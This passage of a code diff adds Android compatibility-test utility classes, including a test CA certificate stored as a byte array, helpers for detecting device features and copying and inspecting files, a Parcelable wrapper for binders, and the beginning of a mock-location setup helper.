+ (byte) 0xda, (byte) 0x4f, (byte) 0xc8, (byte) 0x4d, (byte) 0x73, (byte) 0xcb,
+ (byte) 0x4d, (byte) 0xb0, (byte) 0x19, (byte) 0x54, (byte) 0x5a, (byte) 0xf3,
+ (byte) 0x6c, (byte) 0xc9, (byte) 0xd8, (byte) 0x96, (byte) 0xd9, (byte) 0xb0,
+ (byte) 0x54, (byte) 0x7e, (byte) 0x7d, (byte) 0xe2, (byte) 0x58, (byte) 0x0e,
+ (byte) 0x5f, (byte) 0xc0, (byte) 0xce, (byte) 0xb9, (byte) 0x5c, (byte) 0xe3,
+ (byte) 0xd3, (byte) 0xdf, (byte) 0xcf, (byte) 0x45, (byte) 0x74, (byte) 0xfb,
+ (byte) 0xe6, (byte) 0x20, (byte) 0xe7, (byte) 0xfc, (byte) 0x0f, (byte) 0xca,
+ (byte) 0xdb, (byte) 0xc0, (byte) 0x0b, (byte) 0xe1, (byte) 0x5a, (byte) 0x16,
+ (byte) 0x1d, (byte) 0xb3, (byte) 0x2e, (byte) 0xe5, (byte) 0x5f, (byte) 0x89,
+ (byte) 0x17, (byte) 0x73, (byte) 0x50, (byte) 0xd1, (byte) 0x4a, (byte) 0x60,
+ (byte) 0xb7, (byte) 0xaa, (byte) 0xf0, (byte) 0xc7, (byte) 0xc5, (byte) 0x03,
+ (byte) 0x4e, (byte) 0x36, (byte) 0x51, (byte) 0x9e, (byte) 0x2f, (byte) 0xfa,
+ (byte) 0xf3, (byte) 0xd6, (byte) 0x58, (byte) 0x14, (byte) 0x02, (byte) 0xb4,
+ (byte) 0x41, (byte) 0xd6, (byte) 0x72, (byte) 0x6f, (byte) 0x58, (byte) 0x5b,
+ (byte) 0x2d, (byte) 0x23, (byte) 0xc0, (byte) 0x75, (byte) 0x4f, (byte) 0x39,
+ (byte) 0xa8, (byte) 0x6a, (byte) 0xdf, (byte) 0x79, (byte) 0x21, (byte) 0xf2,
+ (byte) 0x77, (byte) 0x91, (byte) 0x3f, (byte) 0x1c, (byte) 0x4d, (byte) 0x48,
+ (byte) 0x78, (byte) 0xcd, (byte) 0xed, (byte) 0x79, (byte) 0x23, (byte) 0x04,
+ (byte) 0x17, (byte) 0x02, (byte) 0x15, (byte) 0x00, (byte) 0xc7, (byte) 0xe7,
+ (byte) 0xe2, (byte) 0x6b, (byte) 0x14, (byte) 0xe6, (byte) 0x31, (byte) 0x12,
+ (byte) 0xb2, (byte) 0x1e, (byte) 0xd4, (byte) 0xf2, (byte) 0x9b, (byte) 0x2c,
+ (byte) 0xf6, (byte) 0x54, (byte) 0x4c, (byte) 0x12, (byte) 0xe8, (byte) 0x22
+
+ };
+
+ /**
+ * Generated from above and converted with:
+ *
+ * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
+ */
+ public static final byte[] caCertificate = new byte[] {
+ (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x8a, (byte) 0x30, (byte) 0x82,
+ (byte) 0x01, (byte) 0xf3, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
+ (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
+ (byte) 0x68, (byte) 0x7f, (byte) 0x42, (byte) 0x92, (byte) 0x0b, (byte) 0x7a,
+ (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
+ (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
+ (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x5e, (byte) 0x31,
+ (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+ (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x41, (byte) 0x55,
+ (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11, (byte) 0x06, (byte) 0x03,
+ (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c, (byte) 0x0a, (byte) 0x53,
+ (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d, (byte) 0x53, (byte) 0x74,
+ (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31, (byte) 0x21, (byte) 0x30,
+ (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a,
+ (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e, (byte) 0x74, (byte) 0x65,
+ (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74, (byte) 0x20, (byte) 0x57,
+ (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69, (byte) 0x74, (byte) 0x73,
+ (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79, (byte) 0x20, (byte) 0x4c,
+ (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17, (byte) 0x30, (byte) 0x15,
+ (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x03, (byte) 0x0c,
+ (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e, (byte) 0x65, (byte) 0x78,
+ (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c, (byte) 0x65, (byte) 0x2e,
+ (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30, (byte) 0x1e, (byte) 0x17,
+ (byte) 0x0d, (byte) 0x31, (byte) 0x33, (byte) 0x30, (byte) 0x38, (byte) 0x32,
+ (byte) 0x37, (byte) 0x32, (byte) 0x33, (byte) 0x33, (byte) 0x31, (byte) 0x32,
+ (byte) 0x39, (byte) 0x5a, (byte) 0x17, (byte) 0x0d, (byte) 0x32, (byte) 0x33,
+ (byte) 0x30, (byte) 0x38, (byte) 0x32, (byte) 0x35, (byte) 0x32, (byte) 0x33,
+ (byte) 0x33, (byte) 0x31, (byte) 0x32, (byte) 0x39, (byte) 0x5a, (byte) 0x30,
+ (byte) 0x5e, (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06,
+ (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02,
+ (byte) 0x41, (byte) 0x55, (byte) 0x31, (byte) 0x13, (byte) 0x30, (byte) 0x11,
+ (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x0c,
+ (byte) 0x0a, (byte) 0x53, (byte) 0x6f, (byte) 0x6d, (byte) 0x65, (byte) 0x2d,
+ (byte) 0x53, (byte) 0x74, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x31,
+ (byte) 0x21, (byte) 0x30, (byte) 0x1f, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+ (byte) 0x04, (byte) 0x0a, (byte) 0x0c, (byte) 0x18, (byte) 0x49, (byte) 0x6e,
+ (byte) 0x74, (byte) 0x65, (byte) 0x72, (byte) 0x6e, (byte) 0x65, (byte) 0x74,
+ (byte) 0x20, (byte) 0x57, (byte) 0x69, (byte) 0x64, (byte) 0x67, (byte) 0x69,
+ (byte) 0x74, (byte) 0x73, (byte) 0x20, (byte) 0x50, (byte) 0x74, (byte) 0x79,
+ (byte) 0x20, (byte) 0x4c, (byte) 0x74, (byte) 0x64, (byte) 0x31, (byte) 0x17,
+ (byte) 0x30, (byte) 0x15, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
+ (byte) 0x03, (byte) 0x0c, (byte) 0x0e, (byte) 0x63, (byte) 0x61, (byte) 0x2e,
+ (byte) 0x65, (byte) 0x78, (byte) 0x61, (byte) 0x6d, (byte) 0x70, (byte) 0x6c,
+ (byte) 0x65, (byte) 0x2e, (byte) 0x63, (byte) 0x6f, (byte) 0x6d, (byte) 0x30,
+ (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
+ (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
+ (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
+ (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
+ (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa4, (byte) 0xc7,
+ (byte) 0x06, (byte) 0xba, (byte) 0xdf, (byte) 0x2b, (byte) 0xee, (byte) 0xd2,
+ (byte) 0xb9, (byte) 0xe4, (byte) 0x52, (byte) 0x21, (byte) 0x68, (byte) 0x2b,
+ (byte) 0x83, (byte) 0xdf, (byte) 0xe3, (byte) 0x9c, (byte) 0x08, (byte) 0x73,
+ (byte) 0xdd, (byte) 0x90, (byte) 0xea, (byte) 0x97, (byte) 0x0c, (byte) 0x96,
+ (byte) 0x20, (byte) 0xb1, (byte) 0xee, (byte) 0x11, (byte) 0xd5, (byte) 0xd4,
+ (byte) 0x7c, (byte) 0x44, (byte) 0x96, (byte) 0x2e, (byte) 0x6e, (byte) 0xa2,
+ (byte) 0xb2, (byte) 0xa3, (byte) 0x4b, (byte) 0x0f, (byte) 0x32, (byte) 0x90,
+ (byte) 0xaf, (byte) 0x5c, (byte) 0x6f, (byte) 0x00, (byte) 0x88, (byte) 0x45,
+ (byte) 0x4e, (byte) 0x9b, (byte) 0x26, (byte) 0xc1, (byte) 0x94, (byte) 0x3c,
+ (byte) 0xfe, (byte) 0x10, (byte) 0xbd, (byte) 0xda, (byte) 0xf2, (byte) 0x8d,
+ (byte) 0x03, (byte) 0x52, (byte) 0x32, (byte) 0x11, (byte) 0xff, (byte) 0xf6,
+ (byte) 0xf9, (byte) 0x6e, (byte) 0x8f, (byte) 0x0f, (byte) 0xc8, (byte) 0x0a,
+ (byte) 0x48, (byte) 0x39, (byte) 0x33, (byte) 0xb9, (byte) 0x0c, (byte) 0xb3,
+ (byte) 0x2b, (byte) 0xab, (byte) 0x7d, (byte) 0x79, (byte) 0x6f, (byte) 0x57,
+ (byte) 0x5b, (byte) 0xb8, (byte) 0x84, (byte) 0xb6, (byte) 0xcc, (byte) 0xe8,
+ (byte) 0x30, (byte) 0x78, (byte) 0xff, (byte) 0x92, (byte) 0xe5, (byte) 0x43,
+ (byte) 0x2e, (byte) 0xef, (byte) 0x66, (byte) 0x98, (byte) 0xb4, (byte) 0xfe,
+ (byte) 0xa2, (byte) 0x40, (byte) 0xf2, (byte) 0x1f, (byte) 0xd0, (byte) 0x86,
+ (byte) 0x16, (byte) 0xc8, (byte) 0x45, (byte) 0xc4, (byte) 0x52, (byte) 0xcb,
+ (byte) 0x31, (byte) 0x5c, (byte) 0x9f, (byte) 0x32, (byte) 0x3b, (byte) 0xf7,
+ (byte) 0x19, (byte) 0x08, (byte) 0xc7, (byte) 0x00, (byte) 0x21, (byte) 0x7d,
+ (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
+ (byte) 0x50, (byte) 0x30, (byte) 0x4e, (byte) 0x30, (byte) 0x1d, (byte) 0x06,
+ (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e, (byte) 0x04, (byte) 0x16,
+ (byte) 0x04, (byte) 0x14, (byte) 0x47, (byte) 0x82, (byte) 0xa3, (byte) 0xf1,
+ (byte) 0xc2, (byte) 0x7e, (byte) 0x3a, (byte) 0xde, (byte) 0x4f, (byte) 0x30,
+ (byte) 0x4c, (byte) 0x7f, (byte) 0x72, (byte) 0x81, (byte) 0x15, (byte) 0x32,
+ (byte) 0xda, (byte) 0x7f, (byte) 0x58, (byte) 0x18, (byte) 0x30, (byte) 0x1f,
+ (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x23, (byte) 0x04,
+ (byte) 0x18, (byte) 0x30, (byte) 0x16, (byte) 0x80, (byte) 0x14, (byte) 0x47,
+ (byte) 0x82, (byte) 0xa3, (byte) 0xf1, (byte) 0xc2, (byte) 0x7e, (byte) 0x3a,
+ (byte) 0xde, (byte) 0x4f, (byte) 0x30, (byte) 0x4c, (byte) 0x7f, (byte) 0x72,
+ (byte) 0x81, (byte) 0x15, (byte) 0x32, (byte) 0xda, (byte) 0x7f, (byte) 0x58,
+ (byte) 0x18, (byte) 0x30, (byte) 0x0c, (byte) 0x06, (byte) 0x03, (byte) 0x55,
+ (byte) 0x1d, (byte) 0x13, (byte) 0x04, (byte) 0x05, (byte) 0x30, (byte) 0x03,
+ (byte) 0x01, (byte) 0x01, (byte) 0xff, (byte) 0x30, (byte) 0x0d, (byte) 0x06,
+ (byte) 0x09, (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7,
+ (byte) 0x0d, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x05, (byte) 0x00,
+ (byte) 0x03, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0x08, (byte) 0x7f,
+ (byte) 0x6a, (byte) 0x48, (byte) 0x90, (byte) 0x7b, (byte) 0x9b, (byte) 0x72,
+ (byte) 0x13, (byte) 0xa7, (byte) 0xef, (byte) 0x6b, (byte) 0x0b, (byte) 0x59,
+ (byte) 0xe5, (byte) 0x49, (byte) 0x72, (byte) 0x3a, (byte) 0xc8, (byte) 0x84,
+ (byte) 0xcc, (byte) 0x23, (byte) 0x18, (byte) 0x4c, (byte) 0xec, (byte) 0xc7,
+ (byte) 0xef, (byte) 0xcb, (byte) 0xa7, (byte) 0xbe, (byte) 0xe4, (byte) 0xef,
+ (byte) 0x8f, (byte) 0xc6, (byte) 0x06, (byte) 0x8c, (byte) 0xc0, (byte) 0xe4,
+ (byte) 0x2f, (byte) 0x2a, (byte) 0xc0, (byte) 0x35, (byte) 0x7d, (byte) 0x5e,
+ (byte) 0x19, (byte) 0x29, (byte) 0x8c, (byte) 0xb9, (byte) 0xf1, (byte) 0x1e,
+ (byte) 0xaf, (byte) 0x82, (byte) 0xd8, (byte) 0xe3, (byte) 0x88, (byte) 0xe1,
+ (byte) 0x31, (byte) 0xc8, (byte) 0x82, (byte) 0x1f, (byte) 0x83, (byte) 0xa9,
+ (byte) 0xde, (byte) 0xfe, (byte) 0x4b, (byte) 0xe2, (byte) 0x78, (byte) 0x64,
+ (byte) 0xed, (byte) 0xa4, (byte) 0x7b, (byte) 0xee, (byte) 0x8d, (byte) 0x71,
+ (byte) 0x1b, (byte) 0x44, (byte) 0xe6, (byte) 0xb7, (byte) 0xe8, (byte) 0xc5,
+ (byte) 0x9a, (byte) 0x93, (byte) 0x92, (byte) 0x6f, (byte) 0x6f, (byte) 0xdb,
+ (byte) 0xbd, (byte) 0xd7, (byte) 0x03, (byte) 0x85, (byte) 0xa9, (byte) 0x5f,
+ (byte) 0x53, (byte) 0x5f, (byte) 0x5d, (byte) 0x30, (byte) 0xc6, (byte) 0xd9,
+ (byte) 0xce, (byte) 0x34, (byte) 0xa8, (byte) 0xbe, (byte) 0x31, (byte) 0x47,
+ (byte) 0x1c, (byte) 0xa4, (byte) 0x7f, (byte) 0xc0, (byte) 0x2c, (byte) 0xbc,
+ (byte) 0xfe, (byte) 0x1a, (byte) 0x31, (byte) 0xd8, (byte) 0x77, (byte) 0x4d,
+ (byte) 0xfc, (byte) 0x45, (byte) 0x84, (byte) 0xfc, (byte) 0x45, (byte) 0x12,
+ (byte) 0xab, (byte) 0x50, (byte) 0xe4, (byte) 0x45, (byte) 0xe5, (byte) 0x11
+ };
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FeatureUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/FeatureUtil.java
new file mode 100644
index 0000000..b860b96
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.content.pm.FeatureInfo;
+import android.content.pm.PackageManager;
+import android.content.res.Configuration;
+import android.os.Build;
+import androidx.test.InstrumentationRegistry;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Device-side utility class for detecting system features
+ */
+public class FeatureUtil {
+
+ public static final String AUTOMOTIVE_FEATURE = "android.hardware.type.automotive";
+ public static final String LEANBACK_FEATURE = "android.software.leanback";
+ public static final String LOW_RAM_FEATURE = "android.hardware.ram.low";
+ public static final String TELEPHONY_FEATURE = "android.hardware.telephony";
+ public static final String TV_FEATURE = "android.hardware.type.television";
+ public static final String WATCH_FEATURE = "android.hardware.type.watch";
+
+
+ /** Returns true if the device has a given system feature */
+ public static boolean hasSystemFeature(String feature) {
+ return getPackageManager().hasSystemFeature(feature);
+ }
+
+ /** Returns true if the device has any feature in a given collection of system features */
+ public static boolean hasAnySystemFeature(String... features) {
+ PackageManager pm = getPackageManager();
+ for (String feature : features) {
+ if (pm.hasSystemFeature(feature)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /** Returns true if the device has all features in a given collection of system features */
+ public static boolean hasAllSystemFeatures(String... features) {
+ PackageManager pm = getPackageManager();
+ for (String feature : features) {
+ if (!pm.hasSystemFeature(feature)) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /** Returns all system features of the device */
+ public static Set<String> getAllFeatures() {
+ Set<String> allFeatures = new HashSet<String>();
+ for (FeatureInfo fi : getPackageManager().getSystemAvailableFeatures()) {
+ allFeatures.add(fi.name);
+ }
+ return allFeatures;
+ }
+
+ /** Returns true if the device has feature TV_FEATURE or feature LEANBACK_FEATURE */
+ public static boolean isTV() {
+ return hasAnySystemFeature(TV_FEATURE, LEANBACK_FEATURE);
+ }
+
+ /** Returns true if the device has feature WATCH_FEATURE */
+ public static boolean isWatch() {
+ return hasSystemFeature(WATCH_FEATURE);
+ }
+
+ /** Returns true if the device has feature AUTOMOTIVE_FEATURE */
+ public static boolean isAutomotive() {
+ return hasSystemFeature(AUTOMOTIVE_FEATURE);
+ }
+
+ public static boolean isVrHeadset() {
+ int maskedUiMode = (getConfiguration().uiMode & Configuration.UI_MODE_TYPE_MASK);
+ return (maskedUiMode == Configuration.UI_MODE_TYPE_VR_HEADSET);
+ }
+
+ /** Returns true if the device is a low ram device:
+ * 1. API level >= O_MR1
+ * 2. device has feature LOW_RAM_FEATURE
+ */
+ public static boolean isLowRam() {
+ return ApiLevelUtil.isAtLeast(Build.VERSION_CODES.O_MR1) &&
+ hasSystemFeature(LOW_RAM_FEATURE);
+ }
+
+ private static Context getContext() {
+ return InstrumentationRegistry.getInstrumentation().getTargetContext();
+ }
+
+ private static PackageManager getPackageManager() {
+ return getContext().getPackageManager();
+ }
+
+ private static Configuration getConfiguration() {
+ return getContext().getResources().getConfiguration();
+ }
+
+ /** Returns true if the device has feature TELEPHONY_FEATURE */
+ public static boolean hasTelephony() {
+ return hasSystemFeature(TELEPHONY_FEATURE);
+ }
+
+ /** Returns true if the device has feature FEATURE_MICROPHONE */
+ public static boolean hasMicrophone() {
+ return hasSystemFeature(getPackageManager().FEATURE_MICROPHONE);
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FileCopyHelper.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileCopyHelper.java
new file mode 100644
index 0000000..f58dbd0
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileCopyHelper.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+
+/**
+ * FileCopyHelper is used to copy files from resources to the
+ * application directory and responsible for deleting the files.
+ *
+ * @see MediaStore_VideoTest
+ * @see MediaStore_Images_MediaTest
+ * @see MediaStore_Images_ThumbnailsTest
+ */
+public class FileCopyHelper {
+ /** The context. */
+ private Context mContext;
+
+ /** The files added. */
+ private ArrayList<String> mFilesList;
+
+ /**
+ * Instantiates a new file copy helper.
+ *
+ * @param context the context
+ */
+ public FileCopyHelper(Context context) {
+ mContext = context;
+ mFilesList = new ArrayList<String>();
+ }
+
+ /**
+ * Copy the file from the resources with a filename.
+ *
+ * @param resId the res id
+ * @param fileName the file name
+ *
+ * @return the absolute path of the destination file
+ * @throws IOException
+ */
+ public String copy(int resId, String fileName) throws IOException {
+ InputStream source = mContext.getResources().openRawResource(resId);
+ OutputStream target = mContext.openFileOutput(fileName, Context.MODE_WORLD_READABLE);
+ copyFile(source, target);
+ mFilesList.add(fileName);
+ return mContext.getFileStreamPath(fileName).getAbsolutePath();
+ }
+
+ public void copyToExternalStorage(int resId, File path) throws IOException {
+ InputStream source = mContext.getResources().openRawResource(resId);
+ OutputStream target = new FileOutputStream(path);
+ copyFile(source, target);
+ }
+
+ private void copyFile(InputStream source, OutputStream target) throws IOException {
+ try {
+ byte[] buffer = new byte[1024];
+ for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
+ target.write(buffer, 0, len);
+ }
+ } finally {
+ if (source != null) {
+ source.close();
+ }
+ if (target != null) {
+ target.close();
+ }
+ }
+ }
+
+ /**
+ * Delete all the files copied by the helper.
+ */
+ public void clear(){
+ for (String path : mFilesList) {
+ mContext.deleteFile(path);
+ }
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java
new file mode 100644
index 0000000..ceada01
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/FileUtils.java
@@ -0,0 +1,163 @@
+/*
+ * Copyright (C) 2011 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+/** Bits and pieces copied from hidden API of android.os.FileUtils. */
+public class FileUtils {
+
+ public static final int S_IFMT = 0170000;
+ public static final int S_IFSOCK = 0140000;
+ public static final int S_IFLNK = 0120000;
+ public static final int S_IFREG = 0100000;
+ public static final int S_IFBLK = 0060000;
+ public static final int S_IFDIR = 0040000;
+ public static final int S_IFCHR = 0020000;
+ public static final int S_IFIFO = 0010000;
+
+ public static final int S_ISUID = 0004000;
+ public static final int S_ISGID = 0002000;
+ public static final int S_ISVTX = 0001000;
+
+ public static final int S_IRWXU = 00700;
+ public static final int S_IRUSR = 00400;
+ public static final int S_IWUSR = 00200;
+ public static final int S_IXUSR = 00100;
+
+ public static final int S_IRWXG = 00070;
+ public static final int S_IRGRP = 00040;
+ public static final int S_IWGRP = 00020;
+ public static final int S_IXGRP = 00010;
+
+ public static final int S_IRWXO = 00007;
+ public static final int S_IROTH = 00004;
+ public static final int S_IWOTH = 00002;
+ public static final int S_IXOTH = 00001;
+
+ static {
+ System.loadLibrary("cts_jni");
+ }
+
+ public static class FileStatus {
+
+ public int dev;
+ public int ino;
+ public int mode;
+ public int nlink;
+ public int uid;
+ public int gid;
+ public int rdev;
+ public long size;
+ public int blksize;
+ public long blocks;
+ public long atime;
+ public long mtime;
+ public long ctime;
+
+ public boolean hasModeFlag(int flag) {
+ if (((S_IRWXU | S_IRWXG | S_IRWXO) & flag) != flag) {
+ throw new IllegalArgumentException("Inappropriate flag " + flag);
+ }
+ return (mode & flag) == flag;
+ }
+
+ public boolean isOfType(int type) {
+ if ((type & S_IFMT) != type) {
+ throw new IllegalArgumentException("Unknown type " + type);
+ }
+ return (mode & S_IFMT) == type;
+ }
+ }
+
+ /**
+ * @param path of the file to stat
+ * @param status object to set the fields on
+ * @param statLinks or don't stat links (lstat vs stat)
+ * @return whether or not we were able to stat the file
+ */
+ public native static boolean getFileStatus(String path, FileStatus status, boolean statLinks);
+
+ public native static String getUserName(int uid);
+
+ public native static String getGroupName(int gid);
+
+ public native static int setPermissions(String file, int mode);
+
+ /**
+ * Copy data from a source stream to destFile.
+ * Return true if succeed, return false if failed.
+ */
+ public static boolean copyToFile(InputStream inputStream, File destFile) {
+ try {
+ if (destFile.exists()) {
+ destFile.delete();
+ }
+ FileOutputStream out = new FileOutputStream(destFile);
+ try {
+ byte[] buffer = new byte[4096];
+ int bytesRead;
+ while ((bytesRead = inputStream.read(buffer)) >= 0) {
+ out.write(buffer, 0, bytesRead);
+ }
+ } finally {
+ out.flush();
+ try {
+ out.getFD().sync();
+ } catch (IOException e) {
+ }
+ out.close();
+ }
+ return true;
+ } catch (IOException e) {
+ return false;
+ }
+ }
+
+ public static void createFile(File file, int numBytes) throws IOException {
+ File parentFile = file.getParentFile();
+ if (parentFile != null) {
+ parentFile.mkdirs();
+ }
+ byte[] buffer = new byte[numBytes];
+ FileOutputStream output = new FileOutputStream(file);
+ try {
+ output.write(buffer);
+ } finally {
+ output.close();
+ }
+ }
+
+ public static byte[] readInputStreamFully(InputStream is) {
+ ByteArrayOutputStream os = new ByteArrayOutputStream();
+ byte[] buffer = new byte[32768];
+ int count;
+ try {
+ while ((count = is.read(buffer)) != -1) {
+ os.write(buffer, 0, count);
+ }
+ is.close();
+ } catch (IOException e) {
+ throw new RuntimeException(e);
+ }
+ return os.toByteArray();
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/IBinderParcelable.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/IBinderParcelable.java
new file mode 100644
index 0000000..f3c53fe
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/IBinderParcelable.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+public class IBinderParcelable implements Parcelable {
+ public IBinder binder;
+
+ public IBinderParcelable(IBinder source) {
+ binder = source;
+ }
+
+ public int describeContents() {
+ return 0;
+ }
+
+ public void writeToParcel(Parcel dest, int flags) {
+ dest.writeStrongBinder(binder);
+ }
+
+ public static final Parcelable.Creator<IBinderParcelable>
+ CREATOR = new Parcelable.Creator<IBinderParcelable>() {
+
+ public IBinderParcelable createFromParcel(Parcel source) {
+ return new IBinderParcelable(source);
+ }
+
+ public IBinderParcelable[] newArray(int size) {
+ return new IBinderParcelable[size];
+ }
+ };
+
+ private IBinderParcelable(Parcel source) {
+ binder = source.readStrongBinder();
+ }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
new file mode 100644
index 0000000..f233851
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/LocationUtils.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.util.Log;
+
+import java.io.IOException;
+
+public class LocationUtils {
+ private static String TAG = "LocationUtils";
+
+ public static void registerMockLocationProvider(Instrumentation instrumentation,
+ boolean enable) {
+ StringBuilder command = new StringBuilder();
+ command.append("appops set ");
+ command.append(instrumentation.getContext().getPackageName());
+ command.append(" android:mock_location ");
+ command.append(enable ? "allow" : "deny");
+ try {
+ SystemUtil.runShellCommand(instrumentation, command.toString());
+ } catch (IOException e) {
